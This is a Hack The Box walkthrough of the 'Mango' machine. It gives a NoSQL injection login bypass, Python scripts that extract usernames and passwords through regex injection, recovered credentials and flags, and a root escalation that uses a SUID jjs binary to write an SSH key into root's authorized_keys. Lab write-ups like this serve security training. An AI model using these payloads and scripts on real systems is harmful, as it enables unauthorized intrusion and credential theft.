Mango is a medium-difficulty Hack The Box machine that involves NoSQL injection, credential brute-forcing, and privilege escalation through JavaScript engine exploitation.
Difficulty: Medium
Points: 30
Operating System: Linux
export target=10.129.229.185
sudo nmap -p- --min-rate 5000 -sT -vvv $target
Discovered Open Ports:
sudo nmap -p 22,80,443 -sC -sV -T4 $target
Key Discovery: The scan revealed staging-order.mango.htb as a virtual host.
Add to /etc/hosts:
10.129.229.185 staging-order.mango.htb
Visiting http://staging-order.mango.htb presents a login page. Traditional SQL injection attempts proved unsuccessful, leading to testing for NoSQL injection vulnerabilities.
Intercepting the login request in Burp Suite and modifying the parameters:
POST / HTTP/1.1
Host: staging-order.mango.htb
Content-Type: application/x-www-form-urlencoded
username[$ne]=admin&password[$ne]=password&login=login
This payload successfully bypassed authentication, revealing the application was vulnerable to NoSQL injection.
Python Script for Username Brute-Force:
import requests
import string
import sys
def brute_user(user_prefix=""):
for char in string.ascii_letters + string.digits:
payload = user_prefix + char
sys.stdout.write(f"\r[+] Trying username: {payload}")
sys.stdout.flush()
response = requests.post(
'http://staging-order.mango.htb/',
data={
'username[$regex]': f'^{payload}',
'password[$ne]': 'password',
'login': 'login'
}
)
if "We just started farming" in response.text:
print(f"\n[+] Found partial username: {payload}")
brute_user(payload)
return
if user_prefix:
print(f"\n[+] Complete username found: {user_prefix}")
if __name__ == "__main__":
brute_user("")
Discovered Usernames:
adminmangoNote:To bruteforce the usernames we are using the nosql injection I have just used the requests package and made a request to the website and with the payload ^{user_prefix+char} trying whether the username starts with a,b,c note that to get the username starting with m we need to call the function as brute_user(“m”) How did m appear as first letter is that we tested in burp the first character using sniper attack by using the payload as ^a,^b…^z the intruder sniper request is below
Python Script for Password Brute-Force:
import requests
import string
import sys
def brute_pass(user, pass_prefix=""):
found = False
for char in string.ascii_letters + string.digits + string.punctuation:
if char not in ['+', '.', '*', '?', '|', '\\']:
payload = pass_prefix + char
sys.stdout.write(f"\r[+] Trying password: {payload}")
sys.stdout.flush()
response = requests.post(
'http://staging-order.mango.htb/',
data={
'username': f'{user}',
'password[$regex]': f'^{payload}',
'login': 'login'
}
)
if "We just started farming" in response.text:
found = True
brute_pass(user, payload)
return
if not found and pass_prefix:
print(f"\n[+] For user: {user} Found password: {pass_prefix}")
if __name__ == "__main__":
brute_pass("admin", "")
brute_pass("mango", "")
Note:ignoring $ as it indicates the end char
Recovered Credentials:
t9KcS3>!0B#2h3mXK8RhU~f{]f5Hssh mango@10.129.229.185
Switch to admin user:
su - admin
Stabilize shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
cat /home/admin/user.txt
User Flag: 79dfb8a4808a30feb7d431d5f4a36380
find / -type f -user root -perm -4000 -ls 2>/dev/null
Key Finding: jjs (JavaScript engine) with SUID permissions owned by root.
Using jjs for file write operations:
echo 'var FileWriter = Java.type("java.io.FileWriter");
var fw = new FileWriter("/root/.ssh/authorized_keys");
fw.write("ssh-rsa AAAAB3NzaC1yc2E...");
fw.close();' | jjs
ssh -i private_key root@10.129.229.185
cat /root/root.txt
Root Flag: 679984d14402f6b0e0dccf1c1fe7b9ab
This walkthrough is for educational purposes only. Always ensure you have proper authorization before testing security vulnerabilities.